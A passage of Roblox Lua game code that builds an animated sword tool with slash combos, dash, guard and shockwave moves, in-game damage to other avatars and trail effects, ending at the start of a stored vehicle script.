HandleWedge2 = Make.P(Model, 0.24, 0.9, 1.5, BaseColor, 1, false, true)
WedgeMesh11 = Instance.new("SpecialMesh", HandleWedge2)
WedgeMesh11.MeshType = "Wedge"
WedgeMesh11.Scale = Vector3.new(1, 1, 1)
WedgeMesh22 = Instance.new("SpecialMesh", HandleWedge1)
WedgeMesh22.MeshType = "Wedge"
WedgeMesh22.Scale = Vector3.new(1, 1, 1)
Handle2 = Make.P(Model, 2, 0.22, 0.4, BaseColor, 1, false, true)
HandleBlock = Instance.new("BlockMesh", Handle2)
HandleBlock.Scale = Vector3.new(1, 1, 1)
function Dash()
Activated = true
Holding = true
for i = 0,1,0.1 do
wait()
Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,0)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.4*i,0,0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5-0.8*i,0.5,-0.8*i) * CFrame.fromEulerAnglesXYZ(1.2*i,0,-1.2*i)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,1*i,0)
end
Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit, math.random(20, 30)) end)
local vel = Instance.new("BodyVelocity", Char.Torso)
vel.maxForce = Vector3.new(math.huge,math.huge,math.huge)
vel.velocity = Char.Head.CFrame.lookVector * 60
while Holding == true do
wait()
Effect(Char.Torso, 3.5, 2, 3.5, 0, 0,1, 1.5,0,0,BrickColor.new(NormalModeColor), 20329976)
vel.velocity = Char.Head.CFrame.lookVector * 50
end
for i = 0,1,0.1 do
wait()
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-1.4+1.4*i,0,-0.3+0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,-0.8+0.8*i) * CFrame.fromEulerAnglesXYZ(-1.2+1.2*i,0,-1.2+1.2*i)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
Hitdmg:disconnect()
vel:remove()
Activated = false
end
function FirstSlash()
Activated = true
Combo = 1
for i = 0,1,0.1 do
wait()
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+2*i,0,0.3*i)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(-0.5, 0.5*i, 0)
end
Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
for i = 0,1,0.1 do
wait()
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,-0.3+0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(0.5+2,0,0.3)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(-0.5+2.3*i,0.5, 0)
end
wait(0.2)
Activated = false
Hitdmg:disconnect()
end

function SecondSlash()
Activated = true
Combo = 2
Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
for i = 0,1,0.1 do
wait()
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,0,0)
RW.C1 = CFrame.new(0, 1.55, 0) * CFrame.fromEulerAnglesXYZ(-1*i,-1.2*i,0)
end
wait(0.2)
Activated = false
Hitdmg:disconnect()
end
function ThirdSlash()
Activated = true
Combo = 3
Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
coroutine.resume(coroutine.create(function()
for i = 0,1,0.1 do
wait()
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
end
end))
wait(0.2)
Activated = false
Hitdmg:disconnect()
end
function Jump()
Jumped = Jumped +1
Jumping = true
Jumpp = Instance.new("BodyVelocity", Char.Torso)
Jumpp.P = 500
Jumpp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
Jumpp.velocity = Char.Torso.Position + Vector3.new(0, 80, 0)
game:service("Debris"):AddItem(Jumpp, 0.0000000000001)
Jumpp:Destroy(wait(0.0000000000001))
Jumpp:Remove(wait(0.0000000000001))
wait(1)
AbletoJump = false
Jumping = false
end
function SuperCombo()
Activated = true
for i = 0,1,0.1 do
wait()
Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.3*i,0,0)
Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, 0, 0)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,-0.5*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0.5*i)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
sturf = Make.P(Char, 1,1,1, NormalModeColor, 1, false, true)
sturf.CFrame = Char.Torso.CFrame*CFrame.new(0,-2.8,0)
msh = Make.FM(sturf,'cylinder',0,0,0)
for i = 0,1,0.1 do wait(0.025)
sturf.Transparency = sturf.Transparency -0.06
msh.Scale = msh.Scale + Vector3.new(1.5,0.025,1.5)
end
for i, v in pairs(game:service("Players"):GetPlayers()) do
if v.Name ~= Me.Name and (v.Character.Torso.Position - Char.Torso.Position).magnitude < 10 then
EBp = Instance.new("BodyPosition", v.Character.Torso)
EBp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
EBp.position = v.Character.Torso.Position + Vector3.new(0, 10, 0)
game:service("Debris"):AddItem(EBp,1)
end
end

wait(1)
Char.Torso.Neck.C0=necko
sturf:remove()
Activated = false
end
function Guard()
Activated = true
Guarding = true
Mode = "Blocking"
for i = 0,1,0.1 do
wait()
Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, -0.25*i, 0)
Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,0.5*i)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5*i,0,-1.25*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0.4*i)
end
SaveHealth = Char.Humanoid.Health
taco = Instance.new("Part",Char)
taco.Size = Vector3.new(1,1,1)
taco.CanCollide = false
taco.Anchored = true
taco.Transparency = 1
while Guarding == true do wait()
for i = 0,1,0.1 do
wait()
taco.CFrame = Char.Torso.CFrame*CFrame.new(-3,0,0)*CFrame.fromEulerAnglesXYZ(0,math.pi/2,0)
Shield = Effect(Char.Torso, 4,4,3, -4,0,-1, math.pi/-2,0,1,BrickColor.new(BlockModeColor), 60120613)
end
if Char.Humanoid.Health < SaveHealth then
DamageTaken = SaveHealth - Char.Humanoid.Health
end
pcall(function() Char.Humanoid.Health:TakeDamage(DamageTaken/999999999999999999999999999999) end)
coroutine.resume(coroutine.create(function()
for i, x in pairs(game:service("Players"):GetPlayers()) do
if x.Name ~= Me.Name and (x.Character.Torso.Position - RightArm.Position).magnitude < 7 then
derp = Instance.new("BodyVelocity", x.Character.Torso)
derp.P = 200
derp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
derp.velocity = taco.CFrame.lookVector * 80
game:service("Debris"):AddItem(derp,0.2)
end
end
end))
end
taco:Destroy()
coroutine.resume(coroutine.create(function()
for i = 0,1,0.1 do
wait()
Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,-0.5+0.5*i)
Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, 0.25*i, 0)
end
end))
Activated = false
Mode = "Normal"
end
function Shockwave()
Activated = true
Mode = "Ranged"
derpin = true
for i = 0,1,0.1 do
wait()
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+1.3*i,0,0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
RW.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(-0.9*i,0,0)
end
Gyro = Instance.new("BodyGyro", Char.Torso)
Gyro.D = 50
Gyro.cframe = Char.Torso.CFrame
Gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
bp = Make.BP(Char.Torso,Char.Torso.Position+Vector3.new(0,35,0))
coroutine.resume(coroutine.create(function()
while derpin == true do wait()
for i = 0,1,0.1 do wait()
Derp = Effect2(Char.Torso, 3*i,3*i,3*i, 0,0.5,-2,BrickColor.new(RangedModeColor),Char)
end
end
end))
wait(2)
bp.position = Char.Torso.Position+Vector3.new(0,-35,0)
coroutine.resume(coroutine.create(function()
for i = 0,1,0.1 do wait()
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1,1,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
lel = Effect(Char.Torso, 10*i,1.2*i,10*i, 0,-2,0, 0,0,0,BrickColor.new(RangedModeColor),20329976)
end
derpin = false
for i, v in pairs(game:service("Players"):GetPlayers()) do
if v.Name ~= Me.Name and (v.Character.Torso.Position - Char.Torso.Position).magnitude < 20 then
v.Character.Humanoid:TakeDamage(999999999999999999999999999)
v.Character.Humanoid.Sit = true
EBV = Instance.new("BodyVelocity", v.Character.Torso)
EBV.maxForce = Vector3.new(math.huge,math.huge,math.huge)
EBV.velocity = v.Character.Torso.CFrame.lookVector * -30
game:service("Debris"):AddItem(EBV,0.2)
end
end
end))
wait(1)
Gyro:remove()
bp:remove()
wait(1)
Mode = "Normal"
Activated = false
end
function bdown(mouse)
if Activated == true then return end
if Combo == 0 then
FirstSlash()
coroutine.resume(coroutine.create(function()
wait(0.5)
if Activated == false then
Combo = 0
end
end))
elseif Combo == 1 then
SecondSlash()
coroutine.resume(coroutine.create(function()
wait(0.5)
if Activated == false then
Combo = 0
end
end))
elseif Combo == 2 then
ThirdSlash()
coroutine.resume(coroutine.create(function()
wait(0.5)
if Activated == false then
Combo = 0
end
end))
end
end

coroutine.resume(coroutine.create(function()
while wait() do
if Selected == true then
coroutine.resume(coroutine.create(function()
for i = 0,1,0.1 do
wait(0.1)
DiamondWeld.C0 = DiamondWeld.C0*CFrame.Angles(0, math.rad(i*1), 0)
end
end))
if Mode == "Normal" then
BaseThing.BrickColor = BrickColor.new(NormalModeColor)
Tip2.BrickColor = BrickColor.new(NormalModeColor)
Tip1.BrickColor = BrickColor.new(NormalModeColor)
HandleSturf.BrickColor = BrickColor.new(NormalModeColor)
HandleSturf2.BrickColor = BrickColor.new(NormalModeColor)
HandleSturf3.BrickColor = BrickColor.new(NormalModeColor)
LongSword2.BrickColor = BrickColor.new(NormalModeColor)

elseif Mode == "Ranged" then
BaseThing.BrickColor = BrickColor.new(RangedModeColor)
Tip2.BrickColor = BrickColor.new(RangedModeColor)
Tip1.BrickColor = BrickColor.new(RangedModeColor)
HandleSturf.BrickColor = BrickColor.new(RangedModeColor)
HandleSturf2.BrickColor = BrickColor.new(RangedModeColor)
HandleSturf3.BrickColor = BrickColor.new(RangedModeColor)
LongSword2.BrickColor = BrickColor.new(RangedModeColor)

elseif Mode == "Blocking" then
BaseThing.BrickColor = BrickColor.new(BlockModeColor)
Tip2.BrickColor = BrickColor.new(BlockModeColor)
Tip1.BrickColor = BrickColor.new(BlockModeColor)
HandleSturf.BrickColor = BrickColor.new(BlockModeColor)
HandleSturf2.BrickColor = BrickColor.new(BlockModeColor)
HandleSturf3.BrickColor = BrickColor.new(BlockModeColor)
LongSword2.BrickColor = BrickColor.new(BlockModeColor)
end
end
end
end))

function key(key)
if Activated == true then return end
if key == "z" then
Dash()
end
if key == "x" then
Shockwave()
end
if key == "c" then
Guard()
end
if key == "e" then
SuperCombo()
end
end
function key2(key)
if key == "z" then
Holding = false
end
if key == "c" then
Guarding = false
end
end
if script.Name ~= "Made by: [[>> BrannZeus© <<]]" then
script.Disabled = true
Instance.new("Explosion",Char.Torso).Position = Char.Torso.Position
end
Damage = function(hit, amount)
if attackdebounce == false then
attackdebounce = true
coroutine.resume(coroutine.create(function()
wait(0.1)
attackdebounce = false
end))
if hit.Parent==nil then
return
end
h=hit.Parent:FindFirstChild("Humanoid")
if h~=nil and hit.Parent.Name~=Char.Name and hit.Parent:FindFirstChild("Torso")~=nil then
amount=amount
print(hit.Parent.Name)
c = Instance.new("ObjectValue",h)
c.Name = "creator"
c.Value = Me
game:GetService("Debris"):AddItem(c,.5)
h:TakeDamage(amount)
end
end
end
function KewlShet(parent, x,y,z, color)
local p=Instance.new("Part", parent)
p.Size=Vector3.new(1,1,1)
p.BrickColor= color
p.Anchored=true
p.CanCollide=false
p.CFrame=parent.CFrame*CFrame.new(math.random(-0.6,0.6),math.random(-1,1),math.random(-0.6,0.6))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
local m=Instance.new("BlockMesh", p)
m.Scale=Vector3.new(x, y, z)
Delay(0,function()
local p=p
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
end
function Effect(part,x1,y1,z1,x2,y2,z2,x3,y3,z3,color,id)
local msh1 = Instance.new("SpecialMesh")
msh1.Scale = Vector3.new(x1, y1, z1)
msh1.MeshType = "FileMesh"
msh1.MeshId = "http://www.roblox.com/asset/?id="..id..""
S=Instance.new("Part", Char)
S.formFactor=0
S.Size=Vector3.new(1, 1, 1)
S.BrickColor=color
S.TopSurface=0
S.BottomSurface=0
S.Anchored=true
S.CanCollide=false
msh1.Parent = S
S.CFrame=part.CFrame*CFrame.new(x2,y2,z2)*CFrame.fromEulerAnglesXYZ(x3,y3,z3)
coroutine.resume(coroutine.create(function(Part,CF) for i=1, 9 do Part.Mesh.Scale = Part.Mesh.Scale + Vector3.new(0.15,0.3,0.15) Part.Transparency=i*.1 wait() end Part.Parent=nil end),S,S.CFrame)
end
function Effect2(part,x1,y1,z1,x2,y2,z2,color,parent)
local msh2 = Instance.new("BlockMesh")
msh2.Scale = Vector3.new(x1, y1, z1)
S=Instance.new("Part", parent)
S.FormFactor=0
S.Size=Vector3.new(1, 1, 1)
S.BrickColor = color
S.Reflectance = 0
S.TopSurface=0
S.BottomSurface=0
S.Transparency=0.0
S.Anchored=true
S.CanCollide=false
msh2.Parent = S
S.CFrame=part.CFrame*CFrame.new(x2, y2, z2)*CFrame.fromEulerAnglesXYZ(math.random(-50,50),math.random(-50,50),math.random(-50,50))
coroutine.resume(coroutine.create(function(Part,CF) for i=1, 9 do Part.Mesh.Scale = Part.Mesh.Scale + Vector3.new(0.1,0.1,0.1) Part.CFrame=Part.CFrame*CFrame.fromEulerAnglesXYZ(math.random(-50,50),math.random(-50,50),math.random(-50,50)) Part.Transparency=i*.1 wait() end Part.Parent=nil end),S,S.CFrame)
end
script.Name = "Made by: [[>> BrannZeus© <<]]"
function s(mouse)
AlreadySelected = true
Selected = true
Activated = true
mouse.Button1Down:connect(function() bdown(mouse) end)
mouse.Button1Up:connect(function() ButtonUp(mouse) end)
mouse.KeyDown:connect(key)
mouse.KeyUp:connect(key2)
HitBoxWeld,DiamondWeld,HandleSturfW2,HandleSturfW3,BaseThingWeld,TorsoW,RW, LW, HandleWeld, HandleWeld2, HandleWeldSpike1, HandleWeldSpike2, LongWeld, LongWeld2, TipWeld1, BigTipWeld1, BigTipWeld2, TipWeld2 = Instance.new("Weld",Char.Torso),Instance.new("Weld",Char.Torso),Instance.new("Weld",Char.Torso), Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso)
coroutine.resume(coroutine.create(function()
for _,v in pairs(Model:children()) do
if v.className == "Part" then
v.Anchored = false
FakeTorso.Anchored = false
end
end
for i,x in pairs(Char:children()) do
if x.className == "Shirt" or x.className == "Pants" or x.className == "CharacterMesh" then
x:remove()
end
end
end))
RW.Part0 = Char.Torso
RW.C0 = CFrame.new(1.5, 0.5, 0)
RW.C1 = CFrame.new(0, 0.5, 0)
RW.Part1 = RightArm
LW.Part0 = Char.Torso
LW.C0 = CFrame.new(-1.5, 0.5, 0)
LW.C1 = CFrame.new(0, 0.5, 0)
LW.Part1 = LeftArm
TorsoW.Part0 = Char.Torso
TorsoW.C0 = CFrame.new(0, 0.5, 0)
TorsoW.C1 = CFrame.new(0, 0.5, 0)
TorsoW.Part1 = FakeTorso
for i = 0,1,0.1 do
wait()
Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.4*i,0,-0.4*i)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+2*i,0,0.3*i)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
HandleSturfW2 = Instance.new("Weld", Char.Torso)
HandleSturfW2.Part0 = Handle
HandleSturfW2.C0 = CFrame.new(-0.5, -0.5, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
HandleSturfW2.C1 = CFrame.new(0, 0.5, 0)
HandleSturfW2.Part1 = HandleSturf2

HandleSturfW3 = Instance.new("Weld", Char.Torso)
HandleSturfW3.Part0 = Handle
HandleSturfW3.C0 = CFrame.new(-0.5, 0, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
HandleSturfW3.C1 = CFrame.new(0, 0.5, 0)
HandleSturfW3.Part1 = HandleSturf3

DiamondWeld = Instance.new("Weld", Char.Torso)
DiamondWeld.Part0 = Handle
DiamondWeld.C0 = CFrame.new(-0.5, 1.24, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
DiamondWeld.C1 = CFrame.new(0, 0.5, 0)
DiamondWeld.Part1 = Diamond

HandleSturfW1 = Instance.new("Weld", Char.Torso)
HandleSturfW1.Part0 = Handle
HandleSturfW1.C0 = CFrame.new(-0.5, 0.5, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
HandleSturfW1.C1 = CFrame.new(0, 0.5, 0)
HandleSturfW1.Part1 = HandleSturf

BaseThingWeld.Part0 = Handle
BaseThingWeld.C0 = CFrame.new(-0.45, 1.4, -0.05)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
BaseThingWeld.C1 = CFrame.new(0, 0.5, 0)
BaseThingWeld.Part1 = BaseThing
HandleWeld.Part0 = RightArm
HandleWeld.C0 = CFrame.new(0, -1, 0.5)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0)
HandleWeld.C1 = CFrame.new(0, 0.5, 0)
HandleWeld.Part1 = Handle

BigTipWeld2.Part0 = Handle2
BigTipWeld2.C0 = CFrame.new(-0.7, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
BigTipWeld2.C1 = CFrame.new(0, 0.5, 0)
BigTipWeld2.Part1 = BigTip2
BigTipWeld1.Part0 = Handle2
BigTipWeld1.C0 = CFrame.new(0.7, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
BigTipWeld1.C1 = CFrame.new(0, 0.5, 0)
BigTipWeld1.Part1 = BigTip1
TipWeld2.Part0 = Handle2
TipWeld2.C0 = CFrame.new(-0.6, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
TipWeld2.C1 = CFrame.new(0, 0.5, 0)
TipWeld2.Part1 = Tip2
TipWeld1.Part0 = Handle2
TipWeld1.C0 = CFrame.new(0.6, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
TipWeld1.C1 = CFrame.new(0, 0.5, 0)
TipWeld1.Part1 = Tip1
HitBoxWeld.Part0 = Handle
HitBoxWeld.C0 = CFrame.new(-0.5, -3.2, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
HitBoxWeld.C1 = CFrame.new(0, 0.5, 0)
HitBoxWeld.Part1 = HitBox
LongWeld.Part0 = Handle
LongWeld.C0 = CFrame.new(-0.5, -2.6, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
LongWeld.C1 = CFrame.new(0, 0.5, 0)
LongWeld.Part1 = LongSword
LongWeld2.Part0 = Handle
LongWeld2.C0 = CFrame.new(-0.5, -2.6, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
LongWeld2.C1 = CFrame.new(0, 0.5, 0)
LongWeld2.Part1 = LongSword2
HandleWeld2.Part0 = Handle
HandleWeld2.C0 = CFrame.new(-0.5, -0.9, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
HandleWeld2.C1 = CFrame.new(0, 0.5, 0)
HandleWeld2.Part1 = Handle2
HandleWeldSpike2.Part0 = Handle2
HandleWeldSpike2.C0 = CFrame.new(-1.6, 0.02, 0.55)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
HandleWeldSpike2.C1 = CFrame.new(0, 0.5, 0)
HandleWeldSpike2.Part1 = HandleWedge2
HandleWeldSpike1.Part0 = Handle2
HandleWeldSpike1.C0 = CFrame.new(1.6, 0, 0.55)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
HandleWeldSpike1.C1 = CFrame.new(0, 0.5, 0)
HandleWeldSpike1.Part1 = HandleWedge1
for _,v in pairs(Model:children()) do
if v.className == "Part" and v.Name ~= "HitBox" then
coroutine.resume(coroutine.create(function()
for x = 1, 10 do
wait(0.1)
v.Transparency = v.Transparency-0.1
end
end))
end
end
FakeTorso.Transparency = 0
Char.Torso.Transparency = 1
wait(1)
for i = 0,1,0.1 do
wait()
Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.4+0.4*i,0,-0.4+0.4*i)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
FakeTorso.Transparency = 0
Activated = false
end
function ds(mouse)
Selected = false
for _,v in pairs(Model:children()) do
if v.className == "Part" then
coroutine.resume(coroutine.create(function()
for x = 1, 10 do
wait(0.1)
v.Transparency = v.Transparency+0.1
end
end))
end
end
end
bin.Selected:connect(s)
bin.Deselected:connect(ds)
function onRunning(speed)
if Activated == true then return end
if Selected then
if speed>0 then
walking = true
for i = 0,1,0.2 do
wait(0)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.7*i,0,-0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5-0.8*i,0.3*i,0)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
        else
walking = false
for i = 0,1,0.1 do
wait(0)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.7+0.7*i,0,-0.3+0.3*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5-0.8+0.8*i,-0.3+0.3*i,0)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
end
end
if AlreadySelected and not Selected then
if speed>1 then
lolwalking = true
for i = 0,1,0.1 do
wait()
Char.Torso.Neck.C1 = necko*CFrame.new(0, 0.6, -1.5)
Char.Torso.Neck.C0 = necko*CFrame.new(0, 0, 0)
TorsoW.C0 = CFrame.new(0, 0.5, -0.4)*CFrame.fromEulerAnglesXYZ(-0.25*i, 0, 0)
TorsoW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
LW.C0 = CFrame.new(-1.5,0.5,-0.4) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.2*i)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,-0.4) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,0.2*i)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
    else
lolwalking = false
for i = 0,1,0.1 do
wait()
Char.Torso.Neck.C1 = necko*CFrame.new(0, 0, -1.5)
Char.Torso.Neck.C0 = necko*CFrame.new(0, 0, 0)
TorsoW.C0 = CFrame.new(0, 0.5, 0)*CFrame.fromEulerAnglesXYZ(-0.25+0.25*i, 0, 0)
TorsoW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
end
end
end
end
Char.Humanoid.Running:connect(onRunning)

function makeclone()
tip = HitBox
if tip~= nil then
off = (tip.Size.z)/2
point = (tip.CFrame*CFrame.new(0, 0, -off)).p
unit = (lastpoint - point).unit
mag = (lastpoint - point).magnitude
if mag>1 then
middle = lastpoint-(unit*(mag/2))
cf = CFrame.new(middle, point)
for _, x in pairs(Model:GetChildren()) do
if x.className == "Part" then
um = x:Clone()
um.Parent = workspace
um.Name = "derp"
um.Anchored = true
um.CanCollide = false
um.BrickColor = x.BrickColor
end
end
um.CFrame = cf
table.insert(leds, um)
lastpoint = point
end
end
end
function fade()
for _,v in pairs(game:service("Workspace"):children()) do
if v.className == "Part" and v.Name == "derp" then
v.Transparency = v.Transparency+0.5
if v.Transparency>1 then
v:remove()
end
end
end
end
coroutine.resume(coroutine.create(function()
while true do
        makeclone()
        wait(0.05)
        fade()
end
end))
]==]

LeafBlower = [==[
repeat wait() until game:service'Players'.LocalPlayer.Character
--[[

- Added new color scheme.
- Some minor edits.
- New engine type, for your faster speed requirements.
- Camera bug fix.
]]--
do --CFrame lerp
        local function QuaternionFromCFrame(cf)
                local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
                local trace = m00 + m11 + m22
                if trace > 0 then
                        local s = math.sqrt(1 + trace)
                        local recip = 0.5/s
                        return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
                else
                        local i = 0
                        if m11 > m00 then
                                i = 1
                        end
                        if m22 > (i == 0 and m00 or m11) then
                                i = 2
                        end
                        if i == 0 then
                                local s = math.sqrt(m00-m11-m22+1)
                                local recip = 0.5/s
                                return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
                        elseif i == 1 then
                                local s = math.sqrt(m11-m22-m00+1)
                                local recip = 0.5/s
                                return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
                        elseif i == 2 then
                                local s = math.sqrt(m22-m00-m11+1)
